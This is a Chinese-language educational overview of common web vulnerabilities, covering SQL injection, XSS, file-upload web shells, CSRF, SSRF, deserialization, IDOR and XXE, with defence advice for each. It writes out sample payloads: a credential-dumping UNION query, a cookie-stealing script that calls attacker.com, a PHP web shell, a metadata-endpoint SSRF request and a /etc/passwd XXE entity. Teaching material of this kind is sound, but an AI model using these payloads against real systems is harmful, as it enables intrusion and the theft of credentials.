以下是对常见Web漏洞利用姿势的示例分析及技术分解,包含攻击原理、实际案例和防御建议:
攻击示例:
原始URL: https://example.com/products?id=1
攻击payload: https://example.com/products?id=1' UNION SELECT username, password FROM users--
利用过程:
- 攻击者通过闭合单引号插入UNION查询,窃取数据库中的用户凭证。
- 若后端未过滤输入,数据库会执行恶意SQL语句。
防御方案:
- 使用参数化查询(Prepared Statements)
- 最小化数据库账户权限
- 部署WAF(如ModSecurity)
存储型XSS案例:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
防御方案:
- 输出编码(HTML Entity编码)
- 设置Content-Security-Policy
头
- 输入验证(白名单过滤)
利用步骤:
1. 上传包含Web Shell的PHP文件(如shell.php
):
<?php system($_GET['cmd']); ?>
https://example.com/uploads/shell.php?cmd=id
执行系统命令。防御方案:
- 限制上传文件类型(校验MIME类型和扩展名)
- 存储上传文件到非Web目录
- 重命名上传文件(避免直接执行)
攻击场景:
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">
防御方案:
- 使用CSRF Token
- 检查Referer
头
- 关键操作需二次验证(如短信确认)
利用示例:
https://example.com/fetch?url=http://169.254.169.254/latest/meta-data
防御方案:
- 禁用非必要协议(如file://
, gopher://
)
- 使用白名单限制请求目标域名
- 隔离内网服务
Java反序列化攻击:
- 攻击者构造恶意序列化数据(如利用Apache Commons Collections Gadget链),触发远程代码执行。
防御方案:
- 避免反序列化用户输入
- 使用安全的序列化库(如JSON)
- 启用反序列化过滤器(Java 9+的ObjectInputFilter
)
案例:越权访问
- 修改URL参数/user/profile?user_id=123
为124
,访问他人数据。
防御方案:
- 服务端校验当前用户权限
- 使用UUID替代自增ID
攻击Payload:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user><name>&xxe;</name></user>
防御方案:
- 禁用DTD(libxml_disable_entity_loader
)
- 使用JSON替代XML
通过理解这些攻击模式,开发人员和安全团队可更有针对性地加固系统。建议结合OWASP Top 10和MITRE ATT&CK框架持续更新知识库。